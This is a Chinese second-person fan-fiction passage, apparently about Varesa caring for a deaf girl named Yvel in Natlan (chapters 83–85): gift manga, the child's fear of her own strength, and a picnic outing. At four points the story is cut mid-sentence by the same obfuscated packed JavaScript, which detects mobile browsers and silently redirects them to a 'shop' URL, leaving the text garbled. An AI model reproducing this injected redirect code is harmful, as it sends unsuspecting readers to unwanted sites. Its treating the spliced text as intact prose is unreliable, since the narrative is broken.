会有什么呢?绘本里在故事结局得到宝箱的勇者在打开宝箱的时候也会有这样期待的心情吗?不同于之前你需要把注意力放在房间里的另一个人身上,此时独自一人来到房间里的你眼睛亮晶晶的。 原木色的桌子和同色的椅子摆在墙边,有一个打了蝴蝶结的盒子放在书桌上,糖果色的包装纸和金黄色的缎带相称显得格外漂亮。 你走到书桌旁,好奇地戳了戳那个精致的蝴蝶结。 真的是很标准的一份“礼物”啊。就算里面什么都没有,你觉得这个空盒子也是值得留下来的东西。 你不是没收到过礼物,你的爸爸妈妈外出回来时偶尔也会给你带一些小东西,家里柜子上摆着的沙漏就是其中之一。但包装过的确实从来没有。 有的时候仪式感显得尤为隆重,有的时候仪式感如同一张被揉皱的废纸,丢在一旁。人群的、集体性的仪式感被保存,个人的仪式感反倒在人海中模糊,而有时小小的幸福便源自这被模糊了的仪式感。 不说出口,不意味着曾经看到绘本里五颜六色的“礼物”时心里的那种期待便会消失。 你扯着蝴蝶结下摆的一角,拉开了那个蝴蝶结。它随着你的动作变回原本的模样,金黄色的缎带散落开来。没了缎带的约束,包装纸回归重力的怀抱,露出里面的盒子。 原来里面要有盒子才可以在外面包上包装纸、打上蝴蝶结吗,和你看过的不太一样,绘本里是扯开了蝴蝶结就会直接看到是什么的。你一边这样想着,一边心情很好地打开了盒子。 绘本里的东西有的会出现、有的不会出现,这你早在自己学着绘本里的主角对大树许愿却什么也没发生的时候就明白了。不过当在现实里看到与那些你见过的东西相似的物品时,还是会忍不住感到开心。 你坐到椅子上,轻快地晃了晃碰不到地面的双脚。 躺在盒子里的是两本漫画,封面是一个戴着面具的有着棕色长发的女性,还有着几个大字。 炽……什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982436|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么什么记?你露出懵圈的眼神。 不过,你伸出手摸了摸封面上的女性,她的身上洋溢着蓬勃的生命力和力量感,是只要看到她的画像就能感受到的东西。 如同一团燃烧的火,却不会真的把人灼伤,而是让靠近她的人都能感受到那股温暖。 你翻开了漫画,发现里面虽然有字,但主要的还是画,看起来和绘本没有太大差别,非得说差别的话,可能是漫画的人物更鲜明更有棱角、色彩更有冲击力?你歪了歪脑袋,抱着两本漫画从椅子上跳下来,将漫画放到了你的床边。 - 你以为来到这里只是一个过渡,自己可能在某一天就会忽然被送走什么的,你做好了这种准备。结果没想到,你真的在这里待了很长的一段时间。 长到你都习惯了早上看到瓦雷莎匆匆忙忙地跑出去,都习惯了跟在瓦娜娜身后帮忙给果园松土除草,都习惯了傍晚瓦雷莎推开门回来,对着你们露出柔软的笑脸,都习惯了睡前翻几页漫画,再进入甜甜的梦乡。 仿佛你本来就是这里的一份子。 * 这天,你和瓦娜娜干完了果园里的活,瓦娜娜要在果园里防守着,免得有不怀好意的人进来。你便也搬了张小凳子坐到树下,拿出漫画悠哉游哉地看起来。 漫画里,发展到了菲耶蒂娜——就是封面上的那个女性和自己的队友汇合,队友中一个有着烈阳般长发的人拿着比手臂还长的大剑一下子把魔物解决掉、而魔物原本带着的地面出现了裂痕。 好、好厉害。让地面出现裂痕什么的。 你看着漫画的眼里浮现出意动,显然你的小脑袋里生出了什么想法。只见你先是瞄了瞄瓦娜娜:很好,‘呐呐’还是背对着你;再往周围扫了一圈,没发现有第二个人,没有乱晃到这附近的人,也没有忽然提前回家的瓦雷莎。 于是,你挽起左手的衣服袖子,纤细的手指捏成拳头,自上而下地锤到了浇过水的土地上,在上面锤出了一个以你的拳头为圆心向周围扩散的小坑。仔细看去,还能发现拳头那里的凹陷会更深一点。 虽然没出现裂痕,但小坑的出现已经足够让你满足。看,你们都能让地面发生变化,漫画里的人很厉害,和她在这方面有点像的你也有点厉害。你心里的小人叉腰,背景放起礼花,彩带上下飞舞。 因为瓦雷莎从没在你面前展示过自己的武力,你并没有意识到自己相处了这么久的人和漫画里的人一样,都是优秀的战士。你顶多就是觉得,哇,‘沙沙’可以搬起好多东西,跑起来也很快! 在这时的你心里,如果发生了冲突,瓦雷莎和瓦娜娜都是需要你去保护的人。就,如果你不去保护她们,那她们会被欺负的。 小孩子也会对大人、对自己所喜爱的事物升起保护欲。 让你有点可惜的是,你并不像漫画里的人那样拥有一把长长的、看起来就很大的武器。它挥舞起来、它被拿在手上的时候,会是什么感觉?你不知道,你只是好奇。 好看的、漂亮的、如臂使指的、劈开山峦的。 83.纳塔篇-21 或许是纳塔人的天赋使然,你握紧捶到地上的拳头没有多痛,指根凸起的骨头没有顺着你挥出的手贯到地上,只与地面相处的地方传来点点钝痛。好在没有破皮,也没有红肿。 “呼、呼。”你往自己的拳头上吹了两口气,根据你所看来的知识,这样就不会疼了。至于为什么吹一吹就不会疼,这个你还不知道。 嘴唇嘟起呼出的气流拂过手背,好像确实没那么疼了,减轻了一点点。只是,这和你想象中的不太一样。在你的想象中,自己吹的这两口气应该像灵丹妙药一样,让你的手一下子完全不疼的才对。 漫画里都是这样说的。你歪了歪脑袋,不太明白这种差距从何而来。 不过,你没有过多的纠结,说到底这种事情并不那么重要,只是你的好奇心作祟而已,而你的好奇心一向来得快去得也快。 更重要的是,你偷偷看了看瓦娜娜的方向,只能看到她的背影,还有那对即便远远地看去依然很大的角。对方似乎没有意识到你做了什么。于是,你蹲下身,抹平了那个小小的土坑。 有的事情知道了或许会被指责——虽然对你而言无论对方说出怎样锥心刺骨的字词你可能都不会明白那是什么意思,但狡猾的小孩子会无意识地避免让自己落到那个境地。 只要抹平了土坑,你就和之前的那个你没有什么区别了,你还会是那个跟在瓦娜娜身边又被瓦娜娜跟着的你。 你好像什么都没发生过似的,站起身拍了拍衣服,抬起头看着树上将熟未熟的果子好一会儿,才施施然地走回瓦娜娜身边,抬起手摸了摸她背上的皮肤。加快的心跳逐渐变得和缓。 你长长舒出一口气。 看来是真的没发现啊。这么想着,你用脸贴了贴瓦娜娜的身体。不是你不想和瓦娜娜脸贴脸,而是瓦娜娜头上“V”型的角实在太过显眼,和那对角相比,瓦娜娜脸的大小恐怕还不到那对角的一半,更别说还有副角。 站在一旁看着没有什么问题,真的蹲下来和瓦娜娜面对面时,才会发现那对角简直就像悬在自己头顶的达摩克利斯之剑,你不知道它什么时候会坠下,于是陷入了长久的恐慌。 就算会在某些时候感到害怕,你依然没有选择远离瓦娜娜——这个或许对你来说最为轻松的选择。 原谅你吧,你贴着瓦娜娜身体的脸动了动嘴唇,没有发出声音。或许有一天你会习惯于直视瓦娜娜的脸和她的角冠,或许你会一直这么下去,从旁边贴近她。都可以。 原谅你吧,原谅这个不够坚强的你吧,原谅这个擅自靠近瓦娜娜、又自顾自地对瓦娜娜感到害怕的你吧。 如果是其他的,比如树上垂下的蛛丝末端悬挂的蜘蛛、拐角处忽然爬出来的毒蛇什么的,你可能也会怕,但是它们和瓦娜娜是不一样的。遇到蜘蛛、毒蛇,你可以应激性地把它们掐死、把它们打成肉泥,但瓦娜娜不可以。 假如哪天你自己想要靠近,又被瓦娜娜吓到,你会不会下意识地伸出手,掰断她的角?那么大的角,瓦娜娜那么喜欢,每隔一段时间你都能看到瓦雷莎给她保养头上的角。 而且,原本靠着瓦娜娜的你站直了身体,摸了摸自己浅黄色的头发,从头上扯下一根头发尚且会疼,头上生着的角被掰断了,想必只会更疼。想到这里,近来习惯了跟在瓦娜娜身后巡逻果园的你悄悄地、悄悄地把自己的两只手背到身后。 两只背在身后的手虚握成拳,要靠在一起却始终隔着一段距离,俨然一副仿佛被镣铐铐着的姿态。 你知道自己的力气很大,只是你的父母比起这个更关心你听不见的耳朵,没有得到过教导、没有得到过训练,你对这份天生的力量没有足够的了解与把握。 说来也奇怪,你在得知父母抛下了你的时候哭得撕心裂肺,那时认为自己是个“坏孩子”所以被抛弃了的你不是没有想过自己以后要怎么办,可能会有人欺负你,会有人打你,当时的你是怎么想的?哦,是[他们打了我,那我就打回去。] 就像一面镜子,对着别人倒映出他们投射的恶意。他们打了你,他们想伤害你,给他们一个机会,他们就会杀了你。面对要杀你的人,你可以杀了他们,和他们杀你一样。 你曾经捏断过手臂粗的树枝,不知道真正的人的手臂被捏断是什么感觉。唔,或许可以像绘本里画的那样,抓住肩膀,然后把肩膀所连接的那条手臂直接撕扯下来?没尝试过,无法给出准确的结论欸。 那时的你认为这份你并不了解的力量会是你以后的,那个词怎么写来着?对了,“立身之本”。 即将离开自己所熟悉的地方的小刺猬强行蓬起不知道是否长硬了的刺,想要证明自己并不好惹。 而现在,来到一个没有危险的环境里每天过得无忧无虑的你却开始审视自己这份力量。面对敌人,要么你杀了他们,要么他们杀了你,就算死了也只能怪自己技不如人,没能成为那个割下别人头颅的人。 可是,面对你所在意的人呢?她们不是你的敌人。你会,有一天,失控地,伤害她们吗。你会成为那个,把自己从现在的安宁中赶走的,坏孩子吗。 宁静的生活包裹着你,你在里面生出新的隐忧。如同母亲子宫里的婴儿,被温暖的羊水环绕,因而无法想象会失去这种温暖的“诞生”。 虽然失去了力量可能就无法很好地保护她们,但当危险来临,你可以成为那个给她们殿后的人,反正你跑的没有她们快。 比起无能为力的茫然,你更不想成为那个有可能伤害她们的人。 所以,要缩回去吗,你问自己。重新缩回自己的壳子里,做回那个摆设的人偶。被放置在一边的你不会伤害任何人,唯一可能伤害到别人的只有你被摔碎时留下的一地碎片。 背在身后指甲修剪得圆润的双手卸下力气。你喜欢迎着风奔跑,也喜欢身体里力量被使用的感觉,让你觉得自己是真切活着的感觉。不过现在,先压抑一下力量吧,你在心里和自己商量。 不要伤害别人,不要破坏自己喜欢的一切。如果你没有完全掌控自己的力量,那就不要用它。 假如你和瓦雷莎说明自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003280|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的苦恼,力气很大的她会给你可行的建议,会带着你去找教练,会和你探索怎样才算是适当的训练。 可你没有。对瓦雷莎没有那么多了解的你认为自己得到的已经够多了,不应该贪心地想要更多。毕竟,只要想一想就会觉得这种东西一定会很麻烦的吧。 所以,没必要。这样想着,自己说服了自己的你扇动长长的眼睫,盖住了你那双橙色的眼睛。 视野归于黑暗。 - 不知道自己身边的这个小女孩自顾自地想了些什么东西的瓦娜娜只是觉得伊薇尔好像有点不高兴。 今晚再往伊薇尔的饭碗里加两个大鸡腿吧,朴实的瓦娜娜想,多吃点就不会不开心了。 不只是瓦雷莎喜欢伊薇尔,瓦娜娜同样喜欢这个会轻轻地摸自己的小女孩。她陪着瓦雷莎长大,也会见证伊薇尔如何从一个小女孩的模样长大成人。龙的世界里不会考虑太多,她笃信着这会成为既定的未来。 今晚加鸡腿是今晚的事,至于现在嘛……原本想着一脑袋把伊薇尔拱到地上和她玩的瓦雷莎动了动眼睛,目光掠过伊薇尔的头顶,投向逐渐靠近的那道风驰电掣的身影。 ——就交给瓦雷莎吧。看着迫近的瓦雷莎脸上扬起的笑容,瓦娜娜如是想到。 * 其实人闭上眼睛,还是会感受到自己身边的光线变化的。就比如现在闭着眼睛的你感觉到有什么东西挡在了你的前面。 你睁开眼睛,映入眼帘的是一张溢满笑意的脸庞,还有一双温柔的紫色眼睛。 是瓦雷莎。 你叫了对方一声,愣愣地任由对方牵过你的手带着你往屋里走,心里还在想着瓦雷莎是不是比平时早回来了一点,这个时间不是对方之前回来的时间。 你刚刚才胡思乱想了一堆自己伤害到别人的场面,而现在被瓦雷莎牵着往屋里走的时候,明明世界里依然一片寂静,你却从瓦雷莎看到你时的笑容、从那只与你交握的手中感受到了莫名的安心。 仿佛你可以放下自己的顾虑,就此依偎在她们的身边什么都不管。 - 来到屋里,瓦雷莎惯例往你的嘴里喂了一块龙龙饼干后才拿过白纸和你交流。 你鼓动腮帮子嚼碎饼干,黄油的香气在嘴里蔓延,把饼干咽进肚子里的你舔了舔嘴巴便探着脑袋去看瓦雷莎在白纸上写了什么。得益于你睡前看的漫画和瓦雷莎给你买的识字卡片,你现在的识字量大了很多。 瓦雷莎告诉你,这个周末她刚好有时间,想要带着你和瓦娜娜一起出去野餐,问你是想要周六出去还是周日出去,让你帮忙选个时间。 欸……野餐?你的小脑袋一下子被这件事塞满。是,那种会在地上铺一块布、然后在布上摆各种食物的,还是另一种生起篝火,人们围着篝火坐一圈,篝火上烧着食物,每个人的脸上都会被火光照亮的? 你运用着自己在绘本里看来的东西分析野餐是什么,感觉哪种都很令人期待。你的眼睛不由亮了亮,如同两块剔透的没有杂质的橙色宝石。 84.纳塔篇-22 伊薇尔有时候好像不太高兴。 把伊薇尔接来已经有一段时间,瓦雷莎并没有因此而停下自己放在这个小女孩身上的目光,也正因为这样,她才能捕捉到伊薇尔某些时候流露出的异样感。 知道伊薇尔不喜欢和陌生人相处,瓦雷莎没有强求她去接受部族里对孩子统一的教育,而是把那些知识拓印了一份放在伊薇尔的床头;知道伊薇尔害怕孤独,瓦雷莎忙碌的时候瓦娜娜不曾远离伊薇尔的身边。 所以,伊薇尔,你在为了什么难过呢?伊薇尔没有注意到的地方,瓦雷莎看着伊薇尔小小的身影,抿起了唇。 瓦雷莎的脸很容易给人留下棉花糖般软乎乎的印象,大而圆的眼睛许多时候都不会让人觉得有威慑力。而现在,当瓦雷莎敛去笑意,那张脸庞却无端地透出了冰冷的锋利。 瓦雷莎不想逼迫伊薇尔,去盘问伊薇尔她难过的原因。伊薇尔可能只是需要更多的时间,去让一道伤口愈合;她这样做只会撕裂那道还没有完全消失的伤口。又或者伊薇尔自己都没有意识到自己的不对劲。 嗯,是伊薇尔自己都没有发现的一点毛茸茸的小问题。没有盘问,只是和伊薇尔通过纸笔聊了几次天的瓦雷莎在心里下了结论。 那种状态的伊薇尔让瓦雷莎联想到梦游的人,闭着眼睛的人不会知道自己做了什么。“别去惊醒梦游中的人。”那会让梦游的人陷入应激状态的。 没关系,她会找到办法的。瓦雷莎想着,捏了捏自己的手指。没关系、没关系,一切都会好起来的。她会为伊薇尔空旷的世界里涂上色彩,会切实地握住伊薇尔的手。 只是需要一点时间而已,没什么大不了的,慢慢来吧。或许直接把伊薇尔身上的问题直接剖开、呈现到伊薇尔的面前会见效很快,但何必那样呢?她明明可以自己多花点心思去思考对策的,没有必要去逼迫一个孩子。 瓦雷莎又捏了捏自己的手指,指节上传来的些微疼痛感让她更加清醒。现在最重要的是不要因此急躁,不要想着一下子解决所有问题,不要把坏情绪带到伊薇尔的面前。 伊薇尔是个很敏感的孩子,如果可以伊薇尔也不希望这样的。就像一个孩子生了病,家长便在孩子的面前念叨自己多不容易、叹气孩子的病给自己带来了多少麻烦……可这不是伊薇尔的错。 对本来就有时候会不自觉难过的伊薇尔倾泻自己这些因挂念伊薇尔而产生的负面情绪,太坏了。 伊薇尔的肩膀小小的,连她的一个手掌都放不下,更加肩负不起这么沉重的东西。 瓦雷莎深呼吸,一点一点平缓自己的心绪。有的时候,孩子身上有什么问题,反而是家长的反应比孩子更大。而瓦雷莎又很在意伊薇尔,难免会出现这种先一步应激的情况。 仔细想一想,伊薇尔来到这里之后就没有外出过了,每天要么是和瓦娜娜待在果园里,要么是待在房间里。出去走一走会更好么,通过看到不同的景象,拥有不同的心情什么的?瓦雷莎若有所思。 倘若遇到什么人、发生什么好事情,让伊薇尔交上几个朋友,那就更好了。自己不会强迫伊薇尔交朋友,但假如是伊薇尔自己遇见的,应该就没什么问题了。瓦雷莎心里的算盘打得噼啪响。 尝试可能会失败,但是不去尝试就一定不会成功。正如伊安珊老师所说的那样,“勇者攀上火山摘取太阳。烈焰为她加冕,光芒耀眼如璀璨星河。引我走出最初一步。”(注) 不走出那“最初一步”,便永远无法“摘取太阳”。跟着拥有“力量”古名的伊安珊练习,瓦雷莎得到浸染的不只是体魄,还有信念。 - 周六,一整天,都会去野餐。 从知道这个消息起,你就有一种莫名的兴奋,虽然你也不知道自己到底在兴奋什么。 隐秘的、雀跃的。 这种难言的兴奋在你的身体里游走,从你收拾东西的指尖流露出来。 啊,不小心把巧克力弄撒了,好在每颗巧克力都有做外包装,因此掉在地上了也不影响。你一边从地面上将散落一地的巧克力捡回盒子里,一边思考周六那天会发生什么。 根据‘沙沙’的意思,你们会带一些食物过去,那里有一片很平坦的原野,不会有太多人路过,很适合你们野餐。 主要的三餐由瓦雷莎来准备,而你被分派到的任务就是带一些自己喜欢的小零食,免得路上饿了什么的。当然,瓦雷莎没有说的那么直接,而是将其描述为“应急食品的准备”、“要是出了什么意外情况就得靠你准备的这些了”。 还没经历过太多事情、也没见过很多人的你被忽悠得一愣一愣的,拿出自己小背包的动作都轻了不少。 带点巧克力,再带点糖果,小小个的,不会占太多空间,吃起来也很方便,不像烧鱼或者烤肉什么的还得生火烹饪,撕了包装就能吃,很符合“应急”的要求。 你用巧克力和糖果把盒子填得满满当当,再把盒子盖上放进小背包里,小背包瞬间变得鼓鼓囊囊的。 好像边边角角还有一点空隙,吃的已经有巧克力和糖果了,要不要往空隙里塞两瓶水或牛奶?你认真思索,结果发现那点空隙真的只有一点,放两颗糖果倒是可以,放饮料什么的就太勉强了。 ……硬要说的其实放饮料也不是不行,你拿开往背包里硬塞的水,假装背包上因你的动作而崩开了线条的地方并不存在地移开了目光。 还好还好,没有太用力,只是一点点地方崩开了,但不认真看就什么也看不出来,还是完完好好的一个小背包。 你轻轻地摸了摸小背包差点裂开的那块地方,下次自己一定会更小心的。这么想着,你手下的动作变成了安抚地拍了拍小背包。 周六那天,一定会是个好天气吧。收拾好小背包的你跑到瓦雷莎的身边,探着脑袋看对方把野餐垫放进行囊,默默地想。 * 你心心念念的周六很快到来了。 这天,你早早地起床,发现瓦雷莎和瓦娜娜也已经醒了。简单地吃了点早餐——一般来说,如果当天要出行,那么早餐一般都不会丰富到哪里去——你们就出发了。 离开之前,你看到有人从瓦雷莎的手上接过一串钥匙,走进了果园。 - 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017402|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >好、好快。 被瓦雷莎抱在怀里,眼睛看着前方的你灌了一嘴的风,噢,还有你没扎起来的头发,也飘到了你的嘴里。你木着脸思考这个跑步速度是正常的吗,真的有人可以跟上吗,然后侧过脸就看到了和瓦雷莎并驾齐驱的瓦娜娜。 你:…… 这是对的吗,你大受震撼。 按理来说,你不是没有出行过,再怎么说你的父母带着你四处求医,你并不缺乏赶路的经历。只是,你到底还是个孩子,真的让你赶路还要嫌你拖慢了进度;又加上你父母的私心,你往往是有个人载具的。 就,把你放进去,偶尔有人掀开帘子招手让你出来,更多的时候都是在或平坦或颠簸的体验中数着时间等待。等待歇息的时候到来,等待你的双脚能站在地面上的时候到来。 你并非什么都看不到的盲人,却又同样落得个任人摆弄的境地,自己的意愿被模糊,由除了自己之外的人来决定你该做什么。 而瓦雷莎把你带回来的那天,你原本能够在那一次意识到她的速度有多快的。可惜,哭得晕过去的你什么也没有发现。 于是,有了现在的震撼。 飞扬的浅黄色发丝拍打着你的脸,你好想像你的头发拍你那样去拍抱着你的瓦雷莎,跟她说你想要把自己的头发扎起来。 在动作的前一秒,你忽然意识到扎头发需要有橡皮筋,而你这次出来只带了巧克力和糖果。这意味着就算你让瓦雷莎停下来也没用,没有橡皮筋就是没有橡皮筋。 你闭上眼睛,不愿意看这个平时都记得扎头发、偏偏就是外出的这一天没有扎也没带橡皮筋的现实。 你动了动脑袋,想要把脸转过去,少吹点风。 刚有一点动作,抱着你的瓦雷莎忽然一个急停,吹着你的风便也停止了。[怎么了吗,伊薇尔。]你其实没听到瓦雷莎说什么,眼睛也没来得及分辨她的口型,但你看到了她关切的眼神。 只是你忘了带橡皮筋,所以要承受现在被头发扑脸的事情而已。如果是平时,你大概会为这件事情稍微苦恼一会儿,便把它抛到脑后。已经发生的事情,就不要再为它浪费精力了。 就像你现在再怎么苦恼以至于有一点演变成对自己的责怪也好,你也不可能因此变出橡皮筋解决你所遇到的问题。就算退一步想着不扎起来,直接把头发减掉算了你也没有剪刀。 为自己无法改变的事情哭泣,又有什么用呢。你什么都改变不了,就像那个待在房子里的你,怎么做都等不来自己的爸爸妈妈。 “有的时候,哭意味着软弱,而不哭才能证明坚强。”你忘了自己在那本绘本上看到过这样的内容,但这样的说辞在你的心里留下了痕迹。 只见被瓦雷莎用那种关切的眼神看着的你扁扁嘴,一副快要哭了又忍着没有哭的模样,把自己垂在身前的头发拢到手里对着瓦雷莎展示:“跑起来,头发不听话。”说着示范般地用头发扫了扫脸颊,好让对方明白头发是怎么不听话的。 你其实还想说自己被头发打得好疼,不知怎的,被瓦雷莎看着的你改了念头,觉得其实没有必要这么说的。 85.纳塔篇-23 伊薇尔,在撒娇啊。 可怜又可爱的伊薇尔。瓦雷莎静静地看着自己抓住自己头发扁着嘴的小女孩,恐怕连伊薇尔都不知道自己说这话的时候是一副怎样的神情。 委屈的、快要哭的、又带着迷茫的。 没关系。伊薇尔,没关系。瓦雷莎没有深入了解过伊薇尔的过去,但只是通过自己窥见的一角就能大致猜测出伊薇尔的情况。 人都是有自己的社交需求的,就算是刚出生的不会说话的婴儿也会咿咿呀呀地想要得到大人的回应。 而小孩子还没有明确的世界观,有一种不分对错、不辨黑白的纯粹,很多事情都需要他们去体会才能明白,需要从别人的身上无意识地学习,需要大人一点一点地教。 可伊薇尔却像一个犯人似的坐在囚笼里。 她不知道自己做错了什么,不知道自己要怎么做才是对的。 钉过钉子的木板拔出钉子之后仍有钉子的伤痕。有的人总认为给孩子提供物质条件就已经将父母的义务尽到了极致,只是养活一个孩子和养好一个孩子是有很大区别的。 瓦雷莎见过被幽禁的人,其中有一个在地牢里待了十二年之久。等到那个人被放出来的时候,怕生、过分的警戒与提防、易怒等负面影响都在他的身上出现。可以说,不需要打骂,同样可以摧残一个人。 在这种情况下,打和骂都是为了给他重塑规则,用疼痛、用惩罚告诉他,什么才是他该做的。 这样的做法在沃陆之邦乃至于整个纳塔都不算多见,一般来说有什么矛盾打一架就可以,谁赢了就听谁的;或是找到部族的族长,让族长来拿定主意。很少会有纳塔人使用钝刀子杀人的做法。 可这就是“代价”,为了那些因他而死的人,为了那些交付信任却遭到背叛的人。他得活着,用自己的血肉、用自己的性命、用自己的一生去偿还,连死都算是一种解脱。 这个人犯了错,所以要承担代价;那么,伊薇尔又做错了什么,使得她要被这样对待?生理上的缺陷由不得伊薇尔自己决定,苦果却要她来承担。 看着委屈中夹杂着迷茫的伊薇尔,瓦雷莎放轻了声音:“想扎头发是吗,我明白了。”说着,瓦雷莎伸出手安抚地摸了摸伊薇尔的发顶,另一只手从脑后捞起了自己的两条麻花辫。 换个发型而已,没什么大不了的。瓦雷莎这样想着,把自己的两条麻花辫拆开,得到了两条缀着发饰的橡皮筋。她随手把两股头发抓到一起,没多久就把自己的发型改成了单马尾。 “这样就可以了。”瓦雷莎眉眼弯弯,手上套着另一个剩下来的绳圈向伊薇尔示意:“过来吧,要是不小心弄痛你了要说哦。” 说是那么说,瓦雷莎还是放轻了手里的动作。 面对在自己示意下乖乖走过来的伊薇尔,瓦雷莎的手指摸上小女孩头顶的发心,对待自己的头发都只是信手一扎的少女顺着发心认真地向四周一点点理顺被风吹乱的头发,细软的头发摸起来毛茸茸的。 过了好一会儿,瓦雷莎总算给伊薇尔理好了头发,很快,和瓦雷莎同款的单马尾出现在伊薇尔的头上。 “好啦。很可爱哦。”对着伊薇尔在自己手下诞生的新发型,扎好头发便退开身子的瓦雷莎不吝夸奖。 虽然对着一个耳朵什么都听不到的人这样说话似乎没有意义,但瓦雷莎相信,就算听不到,伊薇尔同样能从自己的神情、自己的动作中体会到自己想要传达的情感。 瓦雷莎和她的老师伊安珊都是那种火山上滚落的大石击碎的人,按理来说会更信奉“一力降十会”的理念,可她们同样明白水滴石穿的道理——不如说从一个因族群所带来的生理局限而不被看好的人逐渐成为现在闻名纳塔的健身教练,伊安珊对这个道理是再明白不过了。 如果决定了要做什么,那就去做;倘若目前的实力还不够,那就积攒自己的力量。如同一滴又一滴落在石头上的水,直到在石头上留下浅坑、浅坑里再次叠加浅坑,最后把石头洞穿。 沃陆之邦的风土人情很容易让人联想到嘶吼着冲撞的狂战士,但这并不意味着他们就会缺失应有的坚忍与耐心。 对瓦雷莎来说,伊薇尔就是这样一个需要自己一点一点去软化那层外壳、一点一点重新养育的存在。 所以,瓦雷莎不会因为伊薇尔没扎头发的反应就觉得她是小题大做,瓦雷莎会认真地对待伊薇尔的每一个想法。能做到这种地步,或许是因为这个人是伊薇尔,是她所认定的“家人”;又或许是因为,瓦雷莎本来就是这样温柔的人。 - “啪嗒”,“啪嗒”。 瓦雷莎看着伊薇尔怔怔地把脑后扎起的马尾抱在胸前,小女孩伸出手摸了摸绳圈上翠青色的珠子,被憋了很久的眼泪蓦然跃出眼眶。 “呜、我,我没想哭的。”说话时那双橙色的眼睛水润润的。伊薇尔一边抬起手擦眼泪,一边泪眼朦胧地看着瓦雷莎解释,仿佛在担心解释慢了一秒就会被瓦雷莎认为她是个爱哭的孩子。 像是一只哭花脸的小猫。瓦雷莎这样想着,却是上前抱住伊薇尔,手搭在伊薇尔的背上给她顺气。或许是哭得有些急,瓦雷莎顺气的时候依稀透过接触到的脊骨感受着伊薇尔身体在微微地颤抖。 对于面前这个抹着眼泪还要跟自己说她没想哭的小孩子,瓦雷莎极轻地发出一声叹息:“我知道的。”说话时瓦蕾莎的手还在平稳地给伊薇尔顺气,她再一次重复:“我知道的。”随着话音落下,一个浅淡的吻落在面前的浅黄色头发上。 哭并不意味着软弱,不哭也不意味着坚强。哭就只是单纯地,眼睛在往外面流水而已。至于哭的原因……有的是因为开心,有的是因为感动,有的是因为难过,好多好多种。 哭完之后,太阳依旧会升起。 所以,别觉得那个掉眼泪的自己很糟糕啦。在瓦雷莎的眼中,伊薇尔一直都是好孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17030902|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,不会因为伊薇尔哭了就发生改变。说起来,她之前也是像现在这样抱着哭泣的伊薇尔安慰的呢。 不过,和那时比起来,现在的瓦雷莎应该更靠近伊薇尔的心一点吧? * 呜…… 一不留神哭了个爽的你有些不好意思地退出瓦雷莎的怀抱,又被瓦雷莎哄着喝了点水。 ‘沙沙’是在哄宝宝吗,乖乖喝水,感受着水润湿略微干燥的唇、再流淌过喉咙的你悄悄红了红脸,好在你不是那种一害羞就很容易上脸的体质,纵然觉得脸有些烧,想来也不会被看出什么不对劲。 你都已经快七岁了,是个大孩子了,还能帮‘呐呐’干活呢,前两天你才刚给果园里的一块地浇完水。你在心里为自己正名,你不是那种需要人哄的宝宝。 喝完水,大概是刚刚哭了一场,你有点饿了,属于要赶路的话也还能继续赶路,要席地而坐开始吃东西的话也能吃得下去。 不过,你转过头,看向在你和瓦雷莎停下时一起停下脚步的瓦娜娜,从她有骨刺凸起的背上取下自己的小背包,这是你要出发时瓦娜娜自动请缨的,原本瓦雷莎打算一手抱着你一手挎着包,只是见你和瓦娜娜有自己的想法,便没多管。 你打开里面装了巧克力的盒子和糖果以至于塞得满满当当的背包,“给。”你在一堆糖果中挑选了好一会儿,找出一颗你认为最好看的糖果,把它抓到手心里,一个小小的拳头伸到瓦雷莎的面前,随着你说出的话语一同翻转过来,五指张开。 翻转的手腕和张开的手指就像一朵花从含苞的状态变为盛开,露出里面的花蕊。是一颗和瓦雷莎的眼睛有着同样颜色的糖果。 你看到瓦雷莎的眼睛笑了笑,从你的手心里接过了那颗糖果。[我很喜欢。]瓦雷莎轻声说。 没有专门去分辨嘴型的你看着瓦雷莎微笑的眼睛不由翘了翘不存在的尾巴,一定是在夸你吧,哼哼,你就知道。这可是你从一堆糖果里选出的最适合‘沙沙’的一颗! 